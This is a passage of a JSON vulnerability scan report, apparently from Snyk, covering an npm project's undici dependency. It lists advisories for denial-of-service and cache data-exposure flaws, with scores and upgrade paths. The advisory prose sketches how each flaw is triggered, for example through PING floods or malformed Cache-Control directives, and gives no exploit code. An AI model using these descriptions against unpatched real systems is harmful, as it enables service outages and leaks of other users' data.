"disclosureTime": "2026-10-15T21:58:34.126000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-10-18T11:15:38.271407Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-18T11:15:38.468693Z",
"socialTrendAlert": false,
"packagePopularityRank": 99,
"from": [
"rag-builder@1.0.0",
"cheerio@1.1.2",
"undici@7.16.0"
],
"upgradePath": [
false,
"cheerio@1.1.2",
"undici@7.30.1"
],
"isUpgradable": true,
"isPatchable": false,
"isPinnable": false,
"isRuntime": false,
"name": "undici",
"version": "7.16.0",
"severityWithCritical": "high"
},
{
"id": "SNYK-JS-UNDICI-21181015",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"benzdeus"
],
"semver": {
"vulnerable": [
">=5.15.0 <6.29.1",
">=7.0.0 <7.30.1",
">=8.0.0 <8.12.2"
]
},
"exploit": "Not Defined",
"fixedIn": [
"6.29.1",
"7.30.1",
"8.12.2"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "undici",
"references": [
{
"url": "https://github.com/nodejs/undici/security/advisories/GHSA-9fm3-97px-rjf6",
"title": "GitHub Advisory"
},
{
"url": "https://cna.openjsf.org/security-advisories.html",
"title": "Vendor Advisory"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-10-20T01:34:19.557183Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-10-16T06:34:23.888137Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-20T01:35:47.494426Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-20T01:35:47.494426Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-20T01:34:19.557183Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-16T06:34:23.888137Z"
}
],
"description": "## Overview\n[undici](https://www.npmjs.org/package/undici) is an An HTTP/1.1 client, written from scratch for Node.js\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via unbounded automatic PONG write queuing in the WebSocket `ByteParser` receiver. A remote attacker can send a flood of PING control frames over a standard WebSocket connection, causing the outbound write queue to grow without bound because each inbound PING triggers an automatic PONG reply that is enqueued regardless of socket backpressure, exhausting memory and crashing the process.\n## Remediation\nUpgrade `undici` to version 6.29.1, 7.30.1, 8.12.2 or higher.\n## References\n- [GitHub Advisory](https://github.com/nodejs/undici/security/advisories/GHSA-9fm3-97px-rjf6)\n- [Vendor Advisory](https://cna.openjsf.org/security-advisories.html)\n",
"epssDetails": {
"percentile": "0.22070",
"probability": "0.00308",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-109932"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-9fm3-97px-rjf6"
]
},
"packageName": "undici",
"proprietary": false,
"creationTime": "2026-10-18T11:15:43.161817Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-10-15T21:58:18.018000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-10-18T11:15:43.310504Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-20T01:35:47.494426Z",
"socialTrendAlert": false,
"packagePopularityRank": 99,
"from": [
"rag-builder@1.0.0",
"cheerio@1.1.2",
"undici@7.16.0"
],
"upgradePath": [
false,
"cheerio@1.1.2",
"undici@7.30.1"
],
"isUpgradable": true,
"isPatchable": false,
"isPinnable": false,
"isRuntime": false,
"name": "undici",
"version": "7.16.0",
"severityWithCritical": "high"
},
{
"id": "SNYK-JS-UNDICI-21181019",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Syed Mohammad Ibrahim"
],
"semver": {
"vulnerable": [
">=6.5.0 <6.29.1",
">=7.0.0 <7.30.1",
">=8.0.0 <8.12.2"
]
},
"exploit": "Not Defined",
"fixedIn": [
"6.29.1",
"7.30.1",
"8.12.2"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "undici",
"references": [
{
"url": "https://github.com/nodejs/undici/security/advisories/GHSA-4qv8-2p9j-2685",
"title": "GitHub Advisory"
},
{
"url": "https://cna.openjsf.org/security-advisories.html",
"title": "Vendor Advisory"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-10-20T01:34:19.734826Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-10-16T06:34:32.430824Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-20T01:35:47.485058Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-20T01:35:47.485058Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-20T01:34:19.734826Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-16T06:34:32.430824Z"
}
],
"description": "## Overview\n[undici](https://www.npmjs.org/package/undici) is an An HTTP/1.1 client, written from scratch for Node.js\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the `EventSourceStream` transform in `lib/web/eventsource/eventsource-stream.js`, where the `maxEventSize` limit is only enforced inside `parseLine()`, which is only invoked when a line terminator (CR or LF) is encountered. A server can stream a `data:` field (or any field) that never contains a line terminator, causing the client to buffer the response body without bound and driving the process toward memory exhaustion.\n## Remediation\nUpgrade `undici` to version 6.29.1, 7.30.1, 8.12.2 or higher.\n## References\n- [GitHub Advisory](https://github.com/nodejs/undici/security/advisories/GHSA-4qv8-2p9j-2685)\n- [Vendor Advisory](https://cna.openjsf.org/security-advisories.html)\n",
"epssDetails": {
"percentile": "0.22069",
"probability": "0.00308",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-109924"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-4qv8-2p9j-2685"
]
},
"packageName": "undici",
"proprietary": false,
"creationTime": "2026-10-18T11:15:59.691676Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-10-15T19:58:39.827000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-10-18T11:15:59.844509Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-20T01:35:47.485058Z",
"socialTrendAlert": false,
"packagePopularityRank": 99,
"from": [
"rag-builder@1.0.0",
"cheerio@1.1.2",
"undici@7.16.0"
],
"upgradePath": [
false,
"cheerio@1.1.2",
"undici@7.30.1"
],
"isUpgradable": true,
"isPatchable": false,
"isPinnable": false,
"isRuntime": false,
"name": "undici",
"version": "7.16.0",
"severityWithCritical": "high"
},
{
"id": "SNYK-JS-UNDICI-17372697",
"title": "Use of Cache Containing Sensitive Information",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
">=7.0.0 <7.28.0",
">=8.0.0 <8.5.0"
]
},
"exploit": "Not Defined",
"fixedIn": [
"7.28.0",
"8.5.0"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.9,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "undici",
"references": [
{
"url": "https://github.com/nodejs/undici/security/advisories/GHSA-pr7r-676h-xcf6",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/nodejs/undici/commit/85a24055",
"title": "GitHub Commit"
},
{
"url": "https://github.com/nodejs/undici/commit/cb105d7c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/nodejs/undici/releases/tag/v7.28.0",
"title": "GitHub Release"
},
{
"url": "https://github.com/nodejs/undici/releases/tag/v8.5.0",
"title": "GitHub Release"
},
{
"url": "https://cna.openjsf.org/security-advisories.html",
"title": "Vendor Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-06-18T05:38:32.530338Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-06-26T11:01:42.540708Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.9,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:21:31.139487Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 6.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:21:31.139487Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-06-18T05:38:32.530338Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-06-26T11:01:42.540708Z"
}
],
"description": "## Overview\n[undici](https://www.npmjs.org/package/undici) is an An HTTP/1.1 client, written from scratch for Node.js\n\nAffected versions of this package are vulnerable to Use of Cache Containing Sensitive Information in the cache interceptor. An attacker can obtain another user's authenticated response data by exploiting whitespace-padded field names in the `Cache-Control` header, causing the cache to incorrectly store and serve private data to subsequent callers, including unauthenticated users.\r\n\r\n**Note:** This is only exploitable if the cache interceptor is explicitly enabled in shared mode, Authorization headers are forwarded upstream, and cacheable responses with non-canonical qualified private or no-cache directives are received.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by disabling shared-cache mode for traffic that includes Authorization headers, avoiding caching responses to authenticated requests, or adding Vary: Authorization upstream.\n## Remediation\nUpgrade `undici` to version 7.28.0, 8.5.0 or higher.\n## References\n- [GitHub Advisory](https://github.com/nodejs/undici/security/advisories/GHSA-pr7r-676h-xcf6)\n- [GitHub Commit](https://github.com/nodejs/undici/commit/85a24055)\n- [GitHub Commit](https://github.com/nodejs/undici/commit/cb105d7c)\n- [GitHub Release](https://github.com/nodejs/undici/releases/tag/v7.28.0)\n- [GitHub Release](https://github.com/nodejs/undici/releases/tag/v8.5.0)\n- [Vendor Advisory](https://cna.openjsf.org/security-advisories.html)\n",
"epssDetails": {
"percentile": "0.33549",
"probability": "0.00420",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-9678"
],
"CWE": [
"CWE-524"
],
"GHSA": [
"GHSA-pr7r-676h-xcf6"
]
},
"packageName": "undici",
"proprietary": false,
"creationTime": "2026-06-18T11:01:36.387317Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-17T18:21:38Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-18T11:01:36.559508Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:21:31.139487Z",
"socialTrendAlert": false,
"packagePopularityRank": 99,
"from": [
"rag-builder@1.0.0",
"cheerio@1.1.2",
"undici@7.16.0"
],
"upgradePath": [
false,
"cheerio@1.1.2",
"undici@7.30.1"
],
"isUpgradable": true,
"isPatchable": false,
"isPinnable": false,
"isRuntime": false,
"name": "undici",
"version": "7.16.0",
"severityWithCritical": "high"
},
{
"id": "SNYK-JS-UNDICI-18426065",
"title": "Interpretation Conflict",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"rampage0010"
],
"semver": {
"vulnerable": [
">=7.0.0 <7.29.0",
">=8.0.0 <8.9.0"
]
},
"exploit": "Not Defined",
"fixedIn": [
"7.29.0",
"8.9.0"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "undici",
"references": [
{
"url": "https://github.com/nodejs/undici/commit/9f10f1e9bfcc68b5c8b53d0459cb6d9562008fcd",
"title": "GitHub Commit"
},
{
"url": "https://github.com/nodejs/undici/security/advisories/GHSA-jr45-8vmc-qm54",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T01:30:32.500746Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-08-05T05:51:03.140290Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:09:58.853115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:09:58.853115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T01:30:32.500746Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:51:03.140290Z"
}
],
"description": "## Overview\n[undici](https://www.npmjs.org/package/undici) is an An HTTP/1.1 client, written from scratch for Node.js\n\nAffected versions of this package are vulnerable to Interpretation Conflict via the `parseCacheControlHeader` function in `lib/util/cache.js` and the cache interceptor. An attacker can cause a shared cached response containing authenticated data to be stored and later served to another caller by sending a `Cache-Control` header with a qualified `private` or `no-cache` directive padded with optional whitespace around `=`. The parser misreads forms such as `private =\"\"` or `no-cache= \"authorization\"`, so the cache logic fails to recognize the directive as a qualified restriction and treats the response as cacheable. In shared-cache deployments that forward `Authorization` headers, this exposes one user’s response body and cookies to a subsequent request for the same cache key, including an unauthenticated request.\n## Remediation\nUpgrade `undici` to version 7.29.0, 8.9.0 or higher.\n## References\n- [GitHub Commit](https://github.com/nodejs/undici/commit/9f10f1e9bfcc68b5c8b53d0459cb6d9562008fcd)\n- [Maintainer's Advisory](https://github.com/nodejs/undici/security/advisories/GHSA-jr45-8vmc-qm54)\n",
"epssDetails": {
"percentile": "0.30942",
"probability": "0.00396",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14643"
],
"CWE": [
"CWE-436"
],
"GHSA": [
"GHSA-jr45-8vmc-qm54"
]
},
"packageName": "undici",
"proprietary": false,
"creationTime": "2026-07-30T09:24:20.790373Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-29T23:39:52Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-30T09:24:20.957107Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:09:58.853115Z",
"socialTrendAlert": false,
"packagePopularityRank": 99,
"from": [
"rag-builder@1.0.0",
"cheerio@1.1.2",
"undici@7.16.0"
],
"upgradePath": [
false,
"cheerio@1.1.2",
"undici@7.30.1"
],
"isUpgradable": true,
"isPatchable": false,
"isPinnable": false,
"isRuntime": false,
"name": "undici",
"version": "7.16.0",
"severityWithCritical": "high"
},
{
"id": "SNYK-JS-UNDICI-18426521",
"title": "Information Exposure",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H",
"credit": [
"@h0rk1p"
],
"semver": {
"vulnerable": [
">=7.0.0 <7.29.0",
">=8.0.0 <8.9.0"
]
},
"exploit": "Not Defined",
"fixedIn": [
"7.29.0",
"8.9.0"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.3,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "undici",
"references": [
{
"url": "https://github.com/nodejs/undici/commit/9f10f1e9bfcc68b5c8b53d0459cb6d9562008fcd",
"title": "GitHub Commit"
},
{
"url": "https://github.com/nodejs/undici/security/advisories/GHSA-4cwx-7wf7-3272",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "critical",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H",
"cvssV3BaseScore": 9.1,
"modificationTime": "2026-08-05T01:30:22.570415Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:H",
"cvssV3BaseScore": 7.4,
"modificationTime": "2026-08-05T06:04:05.968446Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.3,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:09:26.371509Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H",
"assigner": "Snyk",
"severity": "critical",
"baseScore": 9.1,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:09:26.371509Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H",
"assigner": "NVD",
"severity": "critical",
"baseScore": 9.1,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T01:30:22.570415Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.4,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T06:04:05.968446Z"
}
],
"description": "## Overview\n[undici](https://www.npmjs.org/package/undici) is an An HTTP/1.1 client, written from scratch for Node.js\n\nAffected versions of this package are vulnerable to Information Exposure via the cache-control parser in `lib/util/cache.js` used by `interceptors.cache()`. An attacker can cause a private response to be stored in the shared cache, or terminate request handling, by sending malformed `Cache-Control` directives such as `private=\"\"` or mixed `private, private=\"hdr\"` values from an upstream response. In shared cache mode, a later request with the same cache key can receive another user's cached body and headers, including sensitive `Set-Cookie` data, and mixed qualified/unqualified `private` directives can raise an uncaught `TypeError` that aborts the request.\n## Remediation\nUpgrade `undici` to version 7.29.0, 8.9.0 or higher.\n## References\n- [GitHub Commit](https://github.com/nodejs/undici/commit/9f10f1e9bfcc68b5c8b53d0459cb6d9562008fcd)\n- [Maintainer's Advisory](https://github.com/nodejs/undici/security/advisories/GHSA-4cwx-7wf7-3272)\n",
"epssDetails": {
"percentile": "0.44721",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13697"
],
"CWE": [
"CWE-200"
],
"GHSA": [
"GHSA-4cwx-7wf7-3272"
]
},
"packageName": "undici",
"proprietary": false,
"creationTime": "2026-07-30T12:00:35.394614Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-29T17:46:02Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-30T12:00:35.649779Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:09:26.371509Z",
"socialTrendAlert": false,
"packagePopularityRank": 99,
"from": [
"rag-builder@1.0.0",
"cheerio@1.1.2",
"undici@7.16.0"
],
"upgradePath": [
false,
"cheerio@1.1.2",
"undici@7.30.1"
],
"isUpgradable": true,
"isPatchable": false,
"isPinnable": false,
"isRuntime": false,
"name": "undici",
"version": "7.16.0",
"severityWithCritical": "high"
},
{
"id": "SNYK-JS-UNDICI-19635206",
"title": "Missing Release of Resource after Effective Lifetime",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
">=7.11.0 <7.29.1",
">=8.0.0 <8.10.2"
]
},
"exploit": "Not Defined",
"fixedIn": [
"7.29.1",
"8.10.2"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "undici",
"references": [
{
"url": "https://github.com/nodejs/undici/security/advisories/GHSA-pmjh-fq2x-6v4x",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/nodejs/undici/commit/3c6726599cea8646384dde846c97d630da472a74",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-05T05:58:18.962907Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-09-18T14:03:16.893521Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-18T14:03:16.893521Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-05T05:58:18.962907Z"
}
],
"description": "## Overview\n[undici](https://www.npmjs.org/package/undici) is an An HTTP/1.1 client, written from scratch for Node.js\n\nAffected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime in the `RetryHandler`, which can leave a response body pending indefinitely when a retried request receives a non-retryable response after a truncated one. An attacker can accumulate unresolved promises and streams until the client is denied service by running a malicious server that repeatedly returns a non-retryable response following a truncated one, so the original response body never resolves and calls like `response.body.text()` never complete. This requires the application to retry requests through the `RetryHandler`, and `bodyTimeout` does not fire because the orphaned body is never active.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by imposing an independent request deadline and destroying the response body when it expires, since `bodyTimeout` alone does not release the orphaned body.\n## Remediation\nUpgrade `undici` to version 7.29.1, 8.10.2 or higher.\n## References\n- [GitHub Advisory](https://github.com/nodejs/undici/security/advisories/GHSA-pmjh-fq2x-6v4x)\n- [GitHub Commit](https://github.com/nodejs/undici/commit/3c6726599cea8646384dde846c97d630da472a74)\n",
"epssDetails": {
"percentile": "0.29771",
"probability": "0.00360",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-18149"
],
"CWE": [
"CWE-772"
],
"GHSA": [
"GHSA-pmjh-fq2x-6v4x"
]
},
"packageName": "undici",
"proprietary": false,
"creationTime": "2026-09-06T08:12:11.357127Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-04T18:33:10Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-06T08:12:11.543700Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-18T14:03:16.893521Z",
"socialTrendAlert": false,
"packagePopularityRank": 99,
"from": [
"rag-builder@1.0.0",
"cheerio@1.1.2",
"undici@7.16.0"
],
"upgradePath": [
false,
"cheerio@1.1.2",
"undici@7.30.1"
],
"isUpgradable": true,
"isPatchable": false,
"isPinnable": false,
"isRuntime": false,
"name": "undici",
"version": "7.16.0",
"severityWithCritical": "high"
},
{
"id": "SNYK-JS-UNDICI-19635208",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
">=7.15.0 <7.29.1",
">=8.0.0 <8.10.2"
]
},
"exploit": "Not Defined",
"fixedIn": [
"7.29.1",
"8.10.2"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "undici",
"references": [
{
"url": "https://github.com/nodejs/undici/security/advisories/GHSA-3xpg-4rpp-hhhm",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/nodejs/undici/commit/2c7d7e1227043c644c4c32cfd1e276f4fd4fcb11",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-05T05:59:20.900855Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:20:00.379922Z"
},
{
